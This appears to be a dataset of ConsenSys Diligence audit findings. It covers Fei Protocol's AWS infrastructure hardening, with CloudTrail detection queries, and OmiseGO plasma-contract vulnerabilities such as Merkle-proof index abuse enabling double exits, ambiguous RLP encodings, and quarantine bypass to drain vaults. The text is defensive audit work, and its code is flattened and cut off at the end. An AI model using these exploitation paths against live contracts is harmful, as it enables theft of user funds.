AWS stack components. This includes S3 server access logs, configuration changes, as well as Cloudfront-related logging. Recommendation It is recommended to enable CloudTrail for internal log aggregation as it integrates seamlessly with S3, Cloudfront, and IAM. Furthermore, regular reviews should be set up where system activity is checked to detect suspicious activity as soon as possible. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.4 Enforce Strict Transport Security ", "body": " Resolution All domains in scope now ship with the following header: Description The HTTP Strict-Transport-Security response header (often abbreviated as HSTS) lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP. This prevents attackers from stripping TLS certificates from connections and removing encryption. Recommendation It is recommended to deliver all responses with the Strict-Transport-Security header. In an S3-Cloudfront setup, this can be achieved using Lambda@Edge lambda functions. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.5 Server Information Leak ", "body": " Description Responses from the fei.money domain and related assets leak server information in their response headers. This information can be used by an adversary to prepare more sophisticated attacks tailored to the deployed infrastructure. Note: At the time of reporting, this issue was deemed not possible to fix due to technical limitations on AWS-hosted static sites using S3 and CloudFront. Examples Recommendation It is recommended to remove any headers that hint at server technologies and are not directly required by the frontend. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.6 Missing Route53 Domain Lock ", "body": " Resolution A transfer lock on both the Description Domain registrars often give customers the option to lock a domain. This prevents unauthorized parties from transferring it to another registrar, either through malicious interaction with the registrar itself, or compromised domain owner credentials. No domain currently has a lock enabled. Affected Assets fei.money feiprotocol.com Recommendation It is recommended to set a lock for the affected domains, assuming that the registrar allows domain locks: Sign in to the AWS Management Console and open the Route 53 console at https://console.aws.amazon.com/route53/. In the navigation pane, choose Registered Domains. Choose the name of the domain that you want to update. Choose Enable (to lock the domain) or Disable (to unlock the domain). Choose Save. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.7 Weak IAM Password Policy ", "body": " Resolution This has been fixed by the client with the following notes: Enforced 14 character password length Enabled 90 day password expiration Prevent password reuse Require one uppercase, one lowercase, one number, one non-alphanumeric character Require 2FA on all users via this doc and this post (Create new Force_MFA policy, attach it to the new Engineers group, and then assign all users (including Dominik) to this group Also requiring 2FA on command line access. Using src/infra/aws-token.sh for generating the credentials and putting them in ~/.aws/config Description The password policy for IAM users currently does not enforce the use of strong passwords, multi-factor authentication, and regular password rotation. Currently, only a minimum password length of 8 is enforced. Recommendation Require a minimum password length of 14 Set a password expiration policy of at most 90 days Disallow the reuse of passwords Enable mandatory multi-factor authentication with a virtual app ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.8 Review Access Key Expiration ", "body": " Resolution This issue is considered resolved with the implementation of regular security review meetings. Description It is recommended to only create access keys when absolutely necessary. There should be no access keys given out to root users. Instead, temporary security credentials (IAM Roles) should be created. Recommendation It is recommended to read the Best practices for managing AWS access keys and incorporate the security practices where reasonable. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.9 Dependency Security ", "body": " Resolution This issue has been resolved by implementing Snyk for continuous dependency security scanning. This allows the developers to review potential risks of included packages and receiving automated pull requests with fixes if necessary. Furthermore, a manual review of select dependencies has been conducted by the penetration tester without significant, actionable results. The following dependencies have been checked: bignumber numeral validator web-vitals Description The Yarn audit feature currently finds two low-severity dependency issues: Prototype pollution in ini - a dependency of react-scripts Insecure Credential Storage in web3 Recommendations It is recommended to apply the ini patch, which is already available. For web3, it is recommended to monitor the repository s Github issue https://github.com/ConsenSys/fei-protocol-audit-2021-01/issues/2739 and upgrade as soon as a fix is available. For additional dependency security, it is recommended to integrate a security monitoring service. Snyk has a free plan which allows unlimited tests on public repositories, and 200 tests per month for private ones. A bot will automatically add a pull request to bump vulnerable dependency versions. It should be noted that the quality and reliability of such automated contributions are highly dependent on the quality of the test suite. It is recommended to build strict tests around core functionality and expected dependency behaviour to detect breaking changes as soon as possible. 5 Security Review Process In an additional effort to achieve security-in-depth, it is recommended to implement a schedule or recurring security review meetings. The goal of these meetings is to complete a checklist to enforce security best-practices, as well as find anomalies in the system as soon as possible to commence mitigation and investigations. This section outlines recommendations for the contents of such a checklist. It should be noted that security requirements are likely to change, and thus, this list should be treated as a working document as the project s infrastructure and attack surface change. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "5.1 CloudTrail Anomalies", "body": " Event filter query template: SELECT useridentity.username, sourceipaddress, eventtime, additionaleventdata FROM cloudtrail_logs WHERE {{ event filter }} AND eventtime >= '' AND eventtime < ''; eventname = 'ConsoleLogin' Sign-in activity eventname = 'AddUserToGroup' User added to group eventname = 'ChangePassword' User password change eventname LIKE '%AccessKey%' Key management events eventname LIKE '%MFADevice' MFA deactivation/deletion/resync eventname = 'StopLogging' Logging stopped eventname LIKE '%BucketPolicy%' Bucket policy activity eventname LIKE '%GroupPolicy%' Group policy activity eventname LIKE '%UserPolicy%' User policy activity eventname LIKE '%RolePolicy%' Role policy activity Aggregate statistics about failed authentication and user authorization attempts can be gathered with the following query: SELECT count (*) AS totalEvents, useridentity.arn, eventsource, eventname, errorCode, errorMessage FROM cloudtrail_logs WHERE (errorcode LIKE '%Denied%' OR errorcode LIKE '%Unauthorized%') AND eventtime >= '2021-02-17' AND eventtime < '2021-02-17' GROUP BY eventsource, eventname, errorCode, errorMessage, useridentity.arn ORDER BY eventsource, eventname For investigative purposes or the goal of covering new infrastructure components, it might be necessary to add more event names to the review process. AWS does not provide a comprehensive list of event names per stack component. An external list of CloudTrail event names is available on the GorillaStack blog. Note: In case of issues with Athena or ingestion into the database, CloudTrail allows users to view the unfiltered event history for a user-specified time range as well. Particularly notable is the ability to filter by resource types, of which the following are relevant to the Fei AWS infrastructure: AWS::S3::Bucket AWS::CloudTrail::Trail AWS::IAM::AccessKey AWS::IAM::MfaDevice AWS::IAM::Group AWS::IAM::Policy AWS::IAM::Role ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "5.2 Cloudfront Endpoint Anomalies", "body": " Top 10 endpoints hit in a given time frame: SELECT uri, status, count(*) AS ct FROM cloudfront_logs_fei_landing WHERE date >= DATE('2021-02-01') AND date <= DATE('2021-02-28') GROUP BY uri, status ORDER BY ct DESC limit 10 This query can be filtered further by adding AND status = 500 or a similar condition to find suspicious response codes. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "5.3 Route53 CNAME Review", "body": " Subdomain takeover vulnerabilities occur when a subdomain is pointing to a service, e.g. a previously deleted CloudFront endpoint or S3 bucket. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. Especially with wildcard certificates on the system, e.g. *.fei.money, this can lead to an exploitation of user trust and enables attacks that can result in reputational and financial loss. It is recommended that DNS records in Route53 are reviewed regularly and removed as soon as the underlying resource is decommissioned. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "5.4 External Monitoring and Notifications", "body": " Beyond manual checks, it is recommended that a service such as Assertible is used. This will allow the development team to detect unavailable endpoints and enforce regularly-checked assertions, such as proper return codes or page content. Furthermore, such a service should integrate other means of communication such as Slack notifications, SMS messages, or arbitrary webhook calls to notify an on-duty developer as quickly as possible. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "5.1 Merkle.checkMembership allows existence proofs for the same leaf in multiple locations in the tree Addressed", "body": " Resolution This was addressed in omisego/plasma-contracts#533 by including a check in omisego/plasma-contracts#547 ensured the passed-in index satisfied the recommended criterion. Description checkMembership is used by several contracts to prove that transactions exist in the child chain. The function uses a leaf, an index, and a proof to construct a hypothetical root hash. This constructed hash is compared to the passed in rootHash parameter. If the two are equivalent, the proof is considered valid. The proof is performed iteratively, and uses a pseudo-index (j) to determine whether the next proof element represents a left branch or right branch : code/plasma_framework/contracts/src/utils/Merkle.sol:L28-L41 uint256 j = index; // Note: We're skipping the first 32 bytes of `proof`, which holds the size of the dynamically sized `bytes` for (uint256 i = 32; i <= proof.length; i += 32) { // solhint-disable-next-line no-inline-assembly assembly { proofElement := mload(add(proof, i)) if (j % 2 == 0) { computedHash = keccak256(abi.encodePacked(NODE_SALT, computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(NODE_SALT, proofElement, computedHash)); j = j / 2; If j is even, the computed hash is placed before the next proof element. If j is odd, the computed hash is placed after the next proof element. After each iteration, j is decremented by j = j / 2. Because checkMembership makes no requirements on the height of the tree or the size of the proof relative to the provided index, it is possible to pass in invalid values for index that prove a leaf s existence in multiple locations in the tree. Examples By modifying existing tests, we showed that for a tree with 3 leaves, leaf 2 can be proven to exist at indices 2, 6, and 10 using the same proof each time. The modified test can be found here: https://gist.github.com/wadeAlexC/01b60099282a026f8dc1ac85d83489fd#file-merkle-test-js-L40-L67 Conclusion Exit processing is meant to bypass exits processed more than once. This is implemented using an output id system, where each exited output should correspond to a unique id that gets flagged in the ExitGameController contract as it s exited. Before an exit is processed, its output id is calculated and checked against ExitGameController. If the output has already been exited, the exit being processed is deleted and skipped. Crucially, output id is calculated differently for standard transactions and deposit transactions: deposit output ids factor in the transaction index. By using the behavior described in this issue in conjunction with methods discussed in issue 5.8 and issue 5.10, we showed that deposit transactions can be exited twice using indices 0 and 2**16. Because of the distinct output id calculation, these exits have different output ids and can be processed twice, allowing users to exit double their deposited amount. A modified StandardExit.load.test.js shows that exits are successfully enqueued with a transaction index of 65536: https://gist.github.com/wadeAlexC/4ad459b7510e512bc9556e7c919e0965#file-standardexit-load-test-js-L55 Recommendation Use the length of the proof to determine the maximum allowed index. The passed-in index should satisfy the following criterion: index < 2**(proof.length/32). Additionally, ensure range checks on transaction position decoding are sufficiently restrictive (see https://github.com/ConsenSys/omisego-morevp-audit-2019-10/issues/20). Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/546 ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.2 Improper initialization of spending condition abstraction allows v2 transactions to exit using PaymentExitGame Addressed", "body": " Resolution This was addressed in omisego/plasma-contracts#478 by requiring that Description PaymentOutputToPaymentTxCondition is an abstraction around the transaction signature check needed for many components of the exit games. Its only function, verify, returns true if one transaction (inputTxBytes) is spent by another transaction (spendingTxBytes): code/plasma_framework/contracts/src/exits/payment/spendingConditions/PaymentOutputToPaymentTxCondition.sol:L40-L69 function verify( bytes calldata inputTxBytes, uint16 outputIndex, uint256 inputTxPos, bytes calldata spendingTxBytes, uint16 inputIndex, bytes calldata signature, bytes calldata /*optionalArgs*/ external view returns (bool) PaymentTransactionModel.Transaction memory inputTx = PaymentTransactionModel.decode(inputTxBytes); require(inputTx.txType == supportInputTxType, \"Input tx is an unsupported payment tx type\"); PaymentTransactionModel.Transaction memory spendingTx = PaymentTransactionModel.decode(spendingTxBytes); require(spendingTx.txType == supportSpendingTxType, \"The spending tx is an unsupported payment tx type\"); UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.build(TxPosLib.TxPos(inputTxPos), outputIndex); require( spendingTx.inputs[inputIndex] == bytes32(utxoPos.value), \"Spending tx points to the incorrect output UTXO position\" ); address payable owner = inputTx.outputs[outputIndex].owner(); require(owner == ECDSA.recover(eip712.hashTx(spendingTx), signature), \"Tx in not signed correctly\"); return true; Verification process The verification process is relatively straightforward. The contract performs some basic input validation, checking that the input transaction s txType matches supportInputTxType, and that the spending transaction s txType matches supportSpendingTxType. These values are set during construction. Next, verify checks that the spending transaction contains an input that matches the position of one of the input transaction s outputs. Finally, verify performs an EIP-712 hash on the spending transaction, and ensures it is signed by the owner of the output in question. Implications of the abstraction code/plasma_framework/contracts/src/framework/registries/ExitGameRegistry.sol:L58-L78 /** @notice Registers an exit game within the PlasmaFramework. Only the maintainer can call the function. @dev Emits ExitGameRegistered event to notify clients @param _txType The tx type where the exit game wants to register @param _contract Address of the exit game contract @param _protocol The transaction protocol, either 1 for MVP or 2 for MoreVP / function registerExitGame(uint256 _txType, address _contract, uint8 _protocol) public onlyFrom(getMaintainer()) { require(_txType != 0, \"Should not register with tx type 0\"); require(_contract != address(0), \"Should not register with an empty exit game address\"); require(_exitGames[_txType] == address(0), \"The tx type is already registered\"); require(_exitGameToTxType[_contract] == 0, \"The exit game contract is already registered\"); require(Protocol.isValidProtocol(_protocol), \"Invalid protocol value\"); _exitGames[_txType] = _contract; _exitGameToTxType[_contract] = _txType; _protocols[_txType] = _protocol; _exitGameQuarantine.quarantine(_contract); emit ExitGameRegistered(_txType, _contract, _protocol); Migration and initialization The migration script seems to corroborate this interpretation: code/plasma_framework/migrations/5_deploy_and_register_payment_exit_game.js:L109-L124 // handle spending condition await deployer.deploy( PaymentOutputToPaymentTxCondition, plasmaFramework.address, PAYMENT_OUTPUT_TYPE, PAYMENT_TX_TYPE, ); const paymentToPaymentCondition = await PaymentOutputToPaymentTxCondition.deployed(); await deployer.deploy( PaymentOutputToPaymentTxCondition, plasmaFramework.address, PAYMENT_OUTPUT_TYPE, PAYMENT_V2_TX_TYPE, ); const paymentToPaymentV2Condition = await PaymentOutputToPaymentTxCondition.deployed(); The migration script then registers both of these contracts in SpendingConditionRegistry, and then calls renounceOwnership, freezing the spending conditions registered permanently: code/plasma_framework/migrations/5_deploy_and_register_payment_exit_game.js:L126-L135 console.log(`Registering paymentToPaymentCondition (${paymentToPaymentCondition.address}) to spendingConditionRegistry`); await spendingConditionRegistry.registerSpendingCondition( PAYMENT_OUTPUT_TYPE, PAYMENT_TX_TYPE, paymentToPaymentCondition.address, ); console.log(`Registering paymentToPaymentV2Condition (${paymentToPaymentV2Condition.address}) to spendingConditionRegistry`); await spendingConditionRegistry.registerSpendingCondition( PAYMENT_OUTPUT_TYPE, PAYMENT_V2_TX_TYPE, paymentToPaymentV2Condition.address, ); await spendingConditionRegistry.renounceOwnership(); Finally, the migration script registers a single exit game contract in PlasmaFramework: code/plasma_framework/migrations/5_deploy_and_register_payment_exit_game.js:L137-L143 // register the exit game to framework await plasmaFramework.registerExitGame( PAYMENT_TX_TYPE, paymentExitGame.address, config.frameworks.protocols.moreVp, { from: maintainerAddress }, ); Note that the associated _txType is permanently associated with the deployed exit game contract: code/plasma_framework/contracts/src/framework/registries/ExitGameRegistry.sol:L58-L78 /** @notice Registers an exit game within the PlasmaFramework. Only the maintainer can call the function. @dev Emits ExitGameRegistered event to notify clients @param _txType The tx type where the exit game wants to register @param _contract Address of the exit game contract @param _protocol The transaction protocol, either 1 for MVP or 2 for MoreVP / function registerExitGame(uint256 _txType, address _contract, uint8 _protocol) public onlyFrom(getMaintainer()) { require(_txType != 0, \"Should not register with tx type 0\"); require(_contract != address(0), \"Should not register with an empty exit game address\"); require(_exitGames[_txType] == address(0), \"The tx type is already registered\"); require(_exitGameToTxType[_contract] == 0, \"The exit game contract is already registered\"); require(Protocol.isValidProtocol(_protocol), \"Invalid protocol value\"); _exitGames[_txType] = _contract; _exitGameToTxType[_contract] = _txType; _protocols[_txType] = _protocol; _exitGameQuarantine.quarantine(_contract); emit ExitGameRegistered(_txType, _contract, _protocol); Conclusion Recommendation Remove PaymentOutputToPaymentTxCondition and SpendingConditionRegistry Implement checks for specific spending conditions directly in exit game controllers. Emphasize clarity of function: ensure it is clear when called from the top level that a signature verification check and spending condition check are being performed. If the inferred relationship between txType and PaymentExitGame is correct, ensure that each PaymentExitGame router checks for its supported txType. Alternatively, the check could be made in PaymentExitGame itself. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/472 ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.3 RLPReader - Leading zeroes allow multiple valid encodings and exit / output ids for the same transaction Addressed", "body": " Resolution This was addressed in omisego/plasma-contracts#507 with the addition of checks to ensure primitive decoding functions in omisego/plasma-contracts#476 rejects leading zeroes in Description The current implementation of RLP decoding can take 2 different txBytes and decode them to the same structure. Specifically, the RLPReader.toUint method can decode 2 different types of bytes to the same number. For example: 0x821234 is decoded to uint(0x1234) 0x83001234 is decoded to uint(0x1234) 0xc101 can decode to uint(1), even though the tag specifies a short list 0x01 can decode to uint(1), even though the tag specifies a single byte As explanation for this encoding: 0x821234 is broken down into 2 parts: 0x82 - represents 0x80 (the string tag) + 0x02 bytes encoded 0x1234 - are the encoded bytes The same for 0x83001234: 0x83 - represents 0x80 (the string tag) + 0x03 bytes encoded 0x001234 - are the encoded bytes The current implementation casts the encoded bytes into a uint256, so these different encodings are interpreted by the contracts as the same number: uint(0x1234) = uint(0x001234) code/plasma_framework/contracts/src/utils/RLPReader.sol:L112 result := mload(memPtr) Having different valid encodings for the same data is a problem because the encodings are used to create hashes that are used as unique ids. This means that multiple ids can be created for the same data. The data should only have one possible id. The encoding is used to create ids in these parts of the code: Outputid.sol code/plasma_framework/contracts/src/exits/utils/OutputId.sol:L18 return keccak256(abi.encodePacked(_txBytes, _outputIndex, _utxoPosValue)); code/plasma_framework/contracts/src/exits/utils/OutputId.sol:L32 return keccak256(abi.encodePacked(_txBytes, _outputIndex)); ExitId.sol code/plasma_framework/contracts/src/exits/utils/ExitId.sol:L41 bytes32 hashData = keccak256(abi.encodePacked(_txBytes, _utxoPos.value)); code/plasma_framework/contracts/src/exits/utils/ExitId.sol:L54 return uint160((uint256(keccak256(_txBytes)) >> 105).setBit(151)); TxFinalizationVerifier.sol code/plasma_framework/contracts/src/exits/utils/TxFinalizationVerifier.sol:L55 bytes32 leafData = keccak256(data.txBytes); Other methods that are affected because they rely on the return values of these methods: ExitId.sol getStandardExitId getInFlightExitId OutputId.sol computeDepositOutputId computeNormalOutputId PaymentChallengeIFENotCanonical.sol verifyAndDeterminePositionOfTransactionIncludedInBlock verifyCompetingTxFinalized PaymentChallengeStandardExit.sol verifyChallengeTxProtocolFinalized PaymentStartInFlightExit.sol verifyInputTransactionIsStandardFinalized PaymentExitGame.sol getStandardExitId getInFlightExitId PaymentOutputToPaymentTxCondition.sol verify Recommendation Enforce strict-length decoding for txBytes, and specify that uint is decoded from a 32-byte short string. Enforcing a 32-byte length for uint means that 0x1234 should always be encoded as: 0xa00000000000000000000000000000000000000000000000000000000000001234 0xa0 represents the tag + the length: 0x80 + 32 0000000000000000000000000000000000000000000000000000000000001234 is the number 32 bytes long with leading zeroes Unfortunately, using leading zeroes is against the RLP spec: https://github.com/ethereum/wiki/wiki/RLP positive RLP integers must be represented in big endian binary form with no leading zeroes This means that libraries interacting with OMG contracts which are going to correctly and fully implement the spec will generate incorrect encodings for uints; encodings that are not going to be recognized by the OMG contracts. Fully correct spec encoding: 0x821234. Proposed encoding in this solution: 0xa00000000000000000000000000000000000000000000000000000000000001234. Similarly enforce restrictions where they can be added; this is possible because of the strict structure format that needs to be encoded. Some other potential solutions are included below. Note that these solutions are not recommended for reasons included below: Normalize the encoding that gets passed to methods that hash the transaction for use as an id: This can be implemented in the methods that call keccak256 on txBytes and should decode and re-encode the passed txBytes in order to normalize the passed encoding. a txBytes is passed the txBytes are decoded into structure: tmpDecodedStruct = decode(txBytes) the tmpDecodedStruct is re-encoded in order to normalize it: normalizedTxBytes = encode(txBytes) This method is not recommended because it needs a Solidity encoder to be implemented and a lot of gas will be used to decode and re-encode the initial txBytes. Correctly and fully implement RLP decoding This is another solution that adds a lot of code and is prone to errors. The solution would be to enforce all of the restrictions when decoding and not accept any encoding that doesn t fully follow the spec. This for example means that is should not accept uints with leading zeroes. This is a problem because it needs a lot of code that is not easy to write in Solidity (or EVM). ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.4 Recommendation: Remove TxFinalizationModel and TxFinalizationVerifier. Implement stronger checks in Merkle ", "body": " Resolution This was partially addressed in omisego/plasma-contracts#503, with the removal of several unneeded branches of logic in omisego/plasma-contracts#533 added a non-zero proof length check in Description TxFinalizationVerifier is an abstraction around the block inclusion check needed for many of the features of plasma exit games. It uses a struct defined in TxFinalizationModel as inputs to its two functions: isStandardFinalized and isProtocolFinalized. isStandardFinalized returns the result of an inclusion proof. Although there are several branches, only the first is used: code/plasma_framework/contracts/src/exits/utils/TxFinalizationVerifier.sol:L19-L32 /** @notice Checks whether a transaction is \"standard finalized\" @dev MVP: requires that both inclusion proof and confirm signature is checked @dev MoreVp: checks inclusion proof only / function isStandardFinalized(Model.Data memory data) public view returns (bool) { if (data.protocol == Protocol.MORE_VP()) { return checkInclusionProof(data); } else if (data.protocol == Protocol.MVP()) { revert(\"MVP is not yet supported\"); } else { revert(\"Invalid protocol value\"); isProtocolFinalized is unused: code/plasma_framework/contracts/src/exits/utils/TxFinalizationVerifier.sol:L34-L47 /** @notice Checks whether a transaction is \"protocol finalized\" @dev MVP: must be standard finalized @dev MoreVp: allows in-flight tx, so only checks for the existence of the transaction / function isProtocolFinalized(Model.Data memory data) public view returns (bool) { if (data.protocol == Protocol.MORE_VP()) { return data.txBytes.length > 0; } else if (data.protocol == Protocol.MVP()) { revert(\"MVP is not yet supported\"); } else { revert(\"Invalid protocol value\"); Finally, the abstraction may have ramifications on the safety of Merkle.sol. As it stands now, Merkle.checkMembership should never be called directly by the exit game controllers, as it lacks an important check made in TxFinalizationVerifier.checkInclusionProof: code/plasma_framework/contracts/src/exits/utils/TxFinalizationVerifier.sol:L49-L59 function checkInclusionProof(Model.Data memory data) private view returns (bool) { if (data.inclusionProof.length == 0) { return false; (bytes32 root,) = data.framework.blocks(data.txPos.blockNum()); bytes32 leafData = keccak256(data.txBytes); return Merkle.checkMembership( leafData, data.txPos.txIndex(), root, data.inclusionProof ); By introducing the abstraction of TxFinalizationVerifier, the input validation performed by Merkle is split across multiple files, and the reasonable-seeming decision of calling Merkle.checkMembership directly becomes unsafe. In fact, this occurs in one location in the contracts: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L187-L204 function verifyAndDeterminePositionOfTransactionIncludedInBlock( bytes memory txbytes, UtxoPosLib.UtxoPos memory utxoPos, bytes32 root, bytes memory inclusionProof private pure returns(uint256) bytes32 leaf = keccak256(txbytes); require( Merkle.checkMembership(leaf, utxoPos.txIndex(), root, inclusionProof), \"Transaction is not included in block of Plasma chain\" ); return utxoPos.value; Recommendation Remove TxFinalizationVerifier and TxFinalizationModel Implement a proof length check in Merkle.sol Call Merkle.checkMembership directly from exit controller contracts: PaymentChallengeIFEOutputSpent.verifyInFlightTransactionStandardFinalized: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L91 require(controller.txFinalizationVerifier.isStandardFinalized(finalizationData), \"In-flight transaction not finalized\"); PaymentChallengeIFENotCanonical.verifyCompetingTxFinalized: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L244 require(self.txFinalizationVerifier.isStandardFinalized(finalizationData), \"Failed to verify the position of competing tx\"); PaymentStartInFlightExit.verifyInputTransactionIsStandardFinalized: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L307-L308 require(exitData.controller.txFinalizationVerifier.isStandardFinalized(finalizationData), \"Input transaction is not standard finalized\"); If none of the above recommendations are implemented, ensure that PaymentChallengeIFENotCanonical uses the abstraction TxFinalizationVerifier so that a length check is performed on the inclusion proof. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/471 ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.5 Merkle - The implementation does not enforce inclusion of leaf nodes. Addressed", "body": " Resolution This was addressed in omisego/plasma-contracts#452 with the addition of leaf and node salts to the Description A observation with the current Merkle tree implementation is that it may be possible to validate nodes other than leaves. This is done by providing checkMembership with a reference to a hash within the tree, rather than a leaf. code/plasma_framework/contracts/src/utils/Merkle.sol:L9-L42 /** @notice Checks that a leaf hash is contained in a root hash @param leaf Leaf hash to verify @param index Position of the leaf hash in the Merkle tree @param rootHash Root of the Merkle tree @param proof A Merkle proof demonstrating membership of the leaf hash @return True, if the leaf hash is in the Merkle tree; otherwise, False / function checkMembership(bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof) internal pure returns (bool) require(proof.length % 32 == 0, \"Length of Merkle proof must be a multiple of 32\"); bytes32 proofElement; bytes32 computedHash = leaf; uint256 j = index; // Note: We're skipping the first 32 bytes of `proof`, which holds the size of the dynamically sized `bytes` for (uint256 i = 32; i <= proof.length; i += 32) { // solhint-disable-next-line no-inline-assembly assembly { proofElement := mload(add(proof, i)) if (j % 2 == 0) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); j = j / 2; return computedHash == rootHash; The current implementation will validate the provided leaf and return true. This is a known problem of Merkle trees https://en.wikipedia.org/wiki/Merkle_tree#Second_preimage_attack. Examples Provide a hash from within the Merkle tree as the leaf argument. The index has to match the index of that node in regards to its current level in the tree. The rootHash has to be the correct Merkle tree rootHash. The proof has to skip the necessary number of levels because the nodes underneath the provided leaf will not be processed. Recommendation A remediation needs a fixed Merkle tree size as well as the addition of a byte prepended to each node in the tree. Another way would be to create a structure for the Merkle node and mark it as leaf or no leaf. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/425 ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.6 Maintainer can bypass exit game quarantine by registering not-yet-deployed contracts Addressed", "body": " Resolution This was addressed in commit 7669076be1dff47473ee877dcebef5989d7617ac by adding a check that registered contracts had nonzero Description The plasma framework uses an ExitGameRegistry to allow the maintainer to add new exit games after deployment. An exit game is any arbitrary contract. In order to prevent the maintainer from adding malicious exit games that steal user funds, the framework uses a quarantine system whereby newly-registered exit games have restricted permissions until their quarantine period has expired. The quarantine period is by default 3 * minExitPeriod, and is intended to facilitate auditing of the new exit game s functionality by the plasma users. However, by registering an exit game at a contract which has not yet been deployed, the maintainer can prevent plasma users from auditing the game until the quarantine period has expired. After the quarantine period has expired, the maintainer can deploy the malicious exit game and immediately steal funds. Explanation Exit games are registered in the following function, callable only by the plasma contract maintainer: code/plasma_framework/contracts/src/framework/registries/ExitGameRegistry.sol:L58-L78 /** @notice Registers an exit game within the PlasmaFramework. Only the maintainer can call the function. @dev Emits ExitGameRegistered event to notify clients @param _txType The tx type where the exit game wants to register @param _contract Address of the exit game contract @param _protocol The transaction protocol, either 1 for MVP or 2 for MoreVP / function registerExitGame(uint256 _txType, address _contract, uint8 _protocol) public onlyFrom(getMaintainer()) { require(_txType != 0, \"Should not register with tx type 0\"); require(_contract != address(0), \"Should not register with an empty exit game address\"); require(_exitGames[_txType] == address(0), \"The tx type is already registered\"); require(_exitGameToTxType[_contract] == 0, \"The exit game contract is already registered\"); require(Protocol.isValidProtocol(_protocol), \"Invalid protocol value\"); _exitGames[_txType] = _contract; _exitGameToTxType[_contract] = _txType; _protocols[_txType] = _protocol; _exitGameQuarantine.quarantine(_contract); emit ExitGameRegistered(_txType, _contract, _protocol); Notably, the function does not check the extcodesize of the submitted contract. As such, the maintainer can submit the address of a contract which does not yet exist and is not auditable. After at least 3 * minExitPeriod seconds pass, the submitted contract now has full permissions as a registered exit game and can pass all checks using the onlyFromNonQuarantinedExitGame modifier: code/plasma_framework/contracts/src/framework/registries/ExitGameRegistry.sol:L33-L40 /** @notice A modifier to verify that the call is from a non-quarantined exit game / modifier onlyFromNonQuarantinedExitGame() { require(_exitGameToTxType[msg.sender] != 0, \"The call is not from a registered exit game contract\"); require(!_exitGameQuarantine.isQuarantined(msg.sender), \"ExitGame is quarantined\"); _; Additionally, the submitted contract passes checks made by external contracts using the isExitGameSafeToUse function: code/plasma_framework/contracts/src/framework/registries/ExitGameRegistry.sol:L48-L56 /** @notice Checks whether the contract is safe to use and is not under quarantine @dev Exposes information about exit games quarantine @param _contract Address of the exit game contract @return boolean Whether the contract is safe to use and is not under quarantine / function isExitGameSafeToUse(address _contract) public view returns (bool) { return _exitGameToTxType[_contract] != 0 && !_exitGameQuarantine.isQuarantined(_contract); These permissions allow a registered quarantine to: Withdraw any users tokens from ERC20Vault: code/plasma_framework/contracts/src/vaults/Erc20Vault.sol:L52-L55 function withdraw(address payable receiver, address token, uint256 amount) external onlyFromNonQuarantinedExitGame { IERC20(token).safeTransfer(receiver, amount); emit Erc20Withdrawn(receiver, token, amount); Withdraw any users ETH from EthVault: code/plasma_framework/contracts/src/vaults/EthVault.sol:L46-L54 function withdraw(address payable receiver, uint256 amount) external onlyFromNonQuarantinedExitGame { // we do not want to block exit queue if transfer is unucessful // solhint-disable-next-line avoid-call-value (bool success, ) = receiver.call.value(amount)(\"\"); if (success) { emit EthWithdrawn(receiver, amount); } else { emit WithdrawFailed(receiver, amount); Activate and deactivate the ExitGameController reentrancy mutex: code/plasma_framework/contracts/src/framework/ExitGameController.sol:L63-L66 function activateNonReentrant() external onlyFromNonQuarantinedExitGame() { require(!mutex, \"Reentrant call\"); mutex = true; code/plasma_framework/contracts/src/framework/ExitGameController.sol:L72-L75 function deactivateNonReentrant() external onlyFromNonQuarantinedExitGame() { require(mutex, \"Not locked\"); mutex = false; enqueue arbitrary exits: code/plasma_framework/contracts/src/framework/ExitGameController.sol:L115-L138 function enqueue( uint256 vaultId, address token, uint64 exitableAt, TxPosLib.TxPos calldata 